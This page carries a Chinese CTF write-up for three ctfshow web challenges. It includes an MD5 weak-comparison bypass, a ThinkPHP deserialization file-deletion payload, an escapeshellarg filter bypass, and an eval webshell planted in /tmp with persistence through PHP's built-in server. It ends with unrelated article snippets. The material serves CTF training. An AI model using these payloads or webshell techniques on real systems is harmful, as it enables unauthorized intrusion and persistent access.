当前位置: 首页 > news >正文

ctfshow web 月饼杯II

web签到

<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {echo "小伙子不错嘛!!flag给你了:" . $flag;} else {echo "偶吼,带黑阔被窝抓到了!!!!";}
}

弱比较

我本来是想直接数组绕过的结果不行
YBB[]=1
那就只能用这个了
0e215962017这个的md5值也是0e开头所以可以绕过

eztp

<?php
namespace app\index\controller;
class Index
{   public function index($run=[]){highlight_file(__FILE__);echo '<h1>Welcome to CTFSHOW</h1></br>';echo 'Powered by PHPthink5.0.2</br>';echo dirname(__FILE__);if (!empty($run[2])){echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';}if (!empty($run[1])){unserialize($run[1]);}}// hint:/index/index/backdoorpublic function backdoor(){if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){echo "Try to post CMD arguments".'<br/>';$data = input('post.');if (!preg_match('/flag/i',$data['cmd'])){$cmd = escapeshellarg($data['cmd']);  //对cmd进行转义$cmd='cat '.$cmd;echo $cmd;system($cmd);}else{echo "No No No";}}else{echo dirname(__FILE__).'/../../'."install.lock has not been deleted";}}
}
Welcome to CTFSHOWPowered by PHPthink5.0.2
/var/www/html/application/index/controller

还有一个base64解码看看
在这里插入图片描述思路我们先必须删除'/../../'."install.lock"然后才能进行绕过
版本为5.0.2我们可以利用5.1的文件删除漏洞

<?php
namespace think\process\pipes;
use think\Process;
class Pipes{} 
class Windows extends Pipes{private $files=[];function __construct(){$this -> files=["/var/www/html/application/index/controller/../../install.lock"];}
}
echo urlencode(serialize(new Windows()));
?>

会反序列化run[1],然后我们就可以进行反序列化然后进行传参

index.php/index/index?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

然后访问index.php/index/index/backdoor进行POST传参
但是前面提到了会进行转义,这里是使用了一个%99,解码是个中文可以绕过

cmd=/fl%99ag

不要离开我

<?php// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在error_reporting(0);
highlight_file(__FILE__);$a=$_GET['action'];switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");break;default:die('params not validate');
}

这道题命令执行很简单,但是没有生成flag,我们要先生成flag才可以

php内置服务器
在这里插入图片描述

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
没有编码发现没有反应编码之后成功发送   这个\是为了避免shell被转义
cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b

看看有没有设置成功

cmd=system('cat /tmp/index.php');

在这里插入图片描述

cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

在这里插入图片描述
check之后光速退出,就可以看到这个页面
我愿意称为MVP结算页面

相关文章:

ctfshow web 月饼杯II

web签到 <?php //Author:H3h3QAQ include "flag.php"; highlight_file(__FILE__); error_reporting(0); if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) $_GET["YBB"]) {echo "小伙子不错嘛&#xff…...

「前端+鸿蒙」核心技术HTML5+CSS3(二)

1、开发者文档 开发者文档通常由浏览器厂商或技术社区提供,包含有关Web技术(如HTML、CSS、JavaScript)的详细信息,API文档,以及最佳实践。例如,MDN Web Docs是一个广泛认可的开发者资源。 2、块级元素与行列元素 块级元素:在页面上占据整行的元素,如<div>、<…...

unity接入live2d

在bilibili上找到一个教程&#xff0c;首先注意一点&#xff0c;你直接导入那个sdk&#xff0c;并且打开示例&#xff0c;显示的模型是有问题的&#xff0c;你需要调整模型上脚本的一个枚举值&#xff0c;调整它的渲染顺序是front z to我看教程时候&#xff0c;很多老师都没有提…...

练习题-17

以下题目来自2024年5月清华大学“丘成桐数学科学领军计划数学水平考试”。第11题本人参考了网友Fiddie (数学兔的极大理想&#xff09;的解答&#xff0c;原网址是 https://mp.weixin.qq.com/s/q9slRWL4iO_TcSdkmbfbbw. 第10题&#xff1a;在10维列向量构成的内积空间 V V V中…...

乐高小人分类项目

数据来源 LEGO Minifigures | Kaggle 建立文件目录 BASE_DIR lego/star-wars-images/ names [YODA, LUKE SKYWALKER, R2-D2, MACE WINDU, GENERAL GRIEVOUS ] tf.random.set_seed(1)# Read information about dataset if not os.path.isdir(BASE_DIR train/):for name in …...

个人关于ChatGPT的用法及建议

概述 这里只是个人常用的几个软件&#xff0c;做一下汇总&#xff0c;希望对各位有用。 如果有更高认知的朋友&#xff0c;请留下你的工具名称&#xff0c;提醒我一下&#xff0c;谢谢&#xff5e; 常用的chatgpt模型工具&#xff1a; 以下是一些知名的例子&#xff1a; 文…...

神经网络的工程基础(二)——随机梯度下降法|文末送书

相关说明 这篇文章的大部分内容参考自我的新书《解构大语言模型&#xff1a;从线性回归到通用人工智能》&#xff0c;欢迎有兴趣的读者多多支持。 本文涉及到的代码链接如下&#xff1a;regression2chatgpt/ch06_optimizer/stochastic_gradient_descent.ipynb 本文将讨论利用…...

常见的几种编码方式

常见的编码方式及其特点&#xff1a; 编码方式的设计是为了适应不同的字符集和应用需求&#xff0c;因此它们在表示字符时使用的位数和字节数各不相同 常见编码方式及其位数和字节数 ASCII&#xff08;American Standard Code for Information Interchange&#xff09;&#x…...

ubuntu移动硬盘重命名

因为在ubuntu上移动硬盘的名字是中文的&#xff0c;所以想要改成英文的。 我的方法&#xff1a; 将移动硬盘插到windows上&#xff0c;直接右键重命名。再插到ubuntu上名字就改变了。 别人的方法&#xff1a; ubuntu下如何修改U盘名字-腾讯云开发者社区-腾讯云 在自带的软件…...

VUE框架前置知识总结

一、前言 在学习vue框架中&#xff0c;总是有些知识不是很熟悉&#xff0c;又不想系统的学习JS&#xff0c;因为学习成本太大了&#xff0c;所以用到什么知识就学习什么知识。此文档就用于记录零散的知识点。主要是还是针对与ES6规范的JS知识点。 以下实验环境都是在windows环…...

张宇1000题80%不会?别急,这个方法肯定有用!

这太正常了&#xff0c;1000题的难度本来就高&#xff0c;不要慌 我考研的时候跟的也是张宇老师&#xff0c;但是1000题我根本就没做几道题就给换成880题660题了&#xff0c;而且只是强化阶段用880题&#xff0c;基础阶段我用的都是汤家凤的1800题。 不要担心做的不是张宇老师…...

【python】爬虫记录每小时金价

数据来源&#xff1a; https://www.cngold.org/img_date/ 因为这个网站是数据随时变动的&#xff0c;用requests、BeautifulSoup的方式解析html的话&#xff0c;数据的位置显示的是“--”&#xff0c;并不能取到数据。 所以采用webdriver访问网站&#xff0c;然后从界面上获取…...

一行命令将已克隆的本地Git仓库推送到内网服务器

一、需求背景 我们公司用gitea搭建了一个git服务器&#xff0c;其中支持win7的最高版本是v1.20.6。 我们公司的电脑在任何时候都不能连接外网&#xff0c;但是希望将一些开源的仓库移植到内网的服务器来。一是有相关代码使用的需求&#xff0c;二是可以建设一个内网能够查阅的…...

Linux文本处理三剑客(详解)

一、文本三剑客是什么&#xff1f; 1. 对于接触过Linux操作系统的人来说&#xff0c;应该都听过说Linux中的文本三剑客吧&#xff0c;即awk、grep、sed&#xff0c;也是必须要掌握的Linux命令之一&#xff0c;三者都是用来处理文本的&#xff0c;但侧重点各不相同&#xff0c;a…...

AI在线UI代码生成,不需要敲一行代码,聊聊天,上传图片,就能生成前端页面的开发神器

ioDraw的在线UI代码生成器是一款开发神器&#xff0c;它可以让您在无需编写一行代码的情况下创建前端页面。 主要优势&#xff1a; 1、极简操作&#xff1a;只需聊天或上传图片&#xff0c;即可生成响应式的Tailwind CSS代码。 2、节省时间&#xff1a;自动生成代码可以节省大…...

go-zero整合单机版ClickHouse并实现增删改查

go-zero整合单机版ClickHouse并实现增删改查 本教程基于go-zero微服务入门教程&#xff0c;项目工程结构同上一个教程。 本教程主要实现go-zero框架整合单机版ClickHouse&#xff0c;并暴露接口实现对ClickHouse数据的增删改查。 go-zero微服务入门教程&#xff1a;https://b…...

行政工作如何提高效率?桌面备忘录便签软件哪个好

在行政管理工作中&#xff0c;效率的提高无疑是每个行政人员都追求的目标。而随着科技的发展&#xff0c;各种便捷的工具也应运而生&#xff0c;其中桌面备忘录便签软件便是其中的佼佼者。那么&#xff0c;这类软件又如何帮助我们提高工作效率呢&#xff1f; 首先&#xff0c;…...

利用向日葵和微信/腾讯会议实现LabVIEW远程开发

利用向日葵远程控制软件结合微信或腾讯会议的视频通话功能&#xff0c;可以实现LabVIEW的远程开发和调试。通过向日葵进行远程桌面访问&#xff0c;配合视频通话工具进行实时沟通与问题解决&#xff0c;不仅提高了开发效率&#xff0c;还减少了地域限制带来的不便。介绍这种远程…...

SpringBoot 单元测试 指定 环境

如上图所示&#xff0c;在配置窗口中添加--spring.profiles.activedev&#xff0c;就可以了。...

Flutter 中的 SliverOpacity 小部件:全面指南

Flutter 中的 SliverOpacity 小部件&#xff1a;全面指南 Flutter 是一个功能强大的 UI 框架&#xff0c;由 Google 开发&#xff0c;允许开发者使用 Dart 语言来构建高性能、美观的跨平台应用。在 Flutter 的滚动组件体系中&#xff0c;SliverOpacity 是一个用来为其子 Slive…...

Compose-Skill:为Jetpack Compose应用注入AI能力的组件化技能库

1. 项目概述&#xff1a;一个为Compose应用注入AI能力的技能库最近在折腾Jetpack Compose项目时&#xff0c;我一直在想&#xff0c;能不能让UI开发也“智能”一点&#xff1f;比如&#xff0c;用户输入一段模糊的描述&#xff0c;界面就能自动生成对应的组件布局&#xff1b;或…...

【UEFI实战】GOP协议详解:从模式查询到像素操作

1. GOP协议基础&#xff1a;UEFI图形显示的核心机制 第一次接触UEFI图形编程时&#xff0c;我被屏幕上突然出现的红色进度条震撼到了——原来在系统启动的早期阶段就能实现图形化显示。这背后的关键就是EFI_GRAPHICS_OUTPUT_PROTOCOL&#xff08;简称GOP&#xff09;&#xff0…...

MAX-M8C-0,支持辅助定位的超紧凑GNSS模块

简介今天我要向大家介绍的是 u-blox 的并发GNSS模块——MAX-M8C-0。这是一款专为成本敏感型应用设计、具有超低功耗的超紧凑高性能模块。该模块基于高性能 u-blox M8 GNSS引擎&#xff0c;支持并发接收多达3个GNSS系统&#xff08;GPS/Galileo GLONASS或BeiDou&#xff09;&am…...

从标注工具到AI流水线:在Windows上搭建CVAT,并连接Label Studio与Jupyter Notebook

从标注工具到AI流水线&#xff1a;在Windows上构建CVAT与生态工具的协同工作流 当计算机视觉项目从实验室走向生产环境时&#xff0c;数据标注往往成为制约迭代速度的关键瓶颈。传统孤立使用的标注工具如同信息孤岛&#xff0c;而现代MLOps实践需要的是能够无缝衔接数据标注、质…...

SPA06-003温压传感器实战:从I2C/SPI接口到Arduino/Python项目开发

1. 项目概述与传感器选型考量在嵌入式开发和物联网项目中&#xff0c;环境参数的精确感知是构建智能系统的第一步。无论是监测室内空气质量、构建个人气象站&#xff0c;还是为无人机提供高度参考&#xff0c;温度和气压数据都是不可或缺的基础信息。市面上传感器选择众多&…...

苹果防线全线血崩,Mythos5天攻破最强硬件,全球20亿台设备危了

太震撼了&#xff0c;苹果花5年数十亿美元造出最强硬件安全防线MIE&#xff0c;三个黑客加一个AI&#xff0c;5天就把它打穿了&#xff01;20亿台苹果设备的安全逻辑正在被改写&#xff0c;人类安全系统正迎来「奥本海默时刻」 。 就在刚刚&#xff0c;苹果这座「永不陷落的堡…...

Acton工厂模式:批量部署智能合约的终极技术指南

Acton工厂模式&#xff1a;批量部署智能合约的终极技术指南 【免费下载链接】acton Toolchain for TON smart contract development and beyond 项目地址: https://gitcode.com/GitHub_Trending/acto/acton Acton作为TON区块链智能合约开发的完整工具链&#xff0c;为开…...

第十五篇:《压测结果分析与调优实践:瓶颈定位与性能优化》

压测执行只是开始&#xff0c;真正的价值在于从结果中定位瓶颈并推动优化。面对一堆响应时间、TPS、错误率曲线&#xff0c;如何判断系统哪里出了问题&#xff1f;如何区分是代码、数据库、中间件还是硬件瓶颈&#xff1f;本文将系统讲解压测结果的分析方法&#xff0c;结合监控…...

安科瑞 EMS3.0智慧能源管理解决方案-光伏智维先知引擎,AI驱动预测性维护新范式

一、需求背景新能源光伏场站迈入规模化、长周期运营阶段&#xff0c;组件老化隐匿、故障识别滞后、运维被动响应、资产价值隐性流失已成为行业共性痛点。传统事后维修、定期检修模式难以应对复杂故障与隐性衰减&#xff0c;造成停机损失高、运维成本高、误判漏判率高。依托GB/T…...

通信中的拆包,残包和多线程互斥锁的注意事项。qt,c++在多线程中一定要使用全局单列互斥锁,否则肯定会崩溃,这边在读这块内存,那边要写。在网络通信中,极有可能丢包,残包,因此要做好拆包,读取,打包

使用互斥锁千万不能重复释放 mute.unlock(); mute.unlock(); 这样的写法会报错我们一定要这样使用互斥锁: // 自动锁&#xff0c;离开作用域自动解锁&#xff0c;不会拷贝锁 QMutexLocker locker(&g_CSR_Mutex);...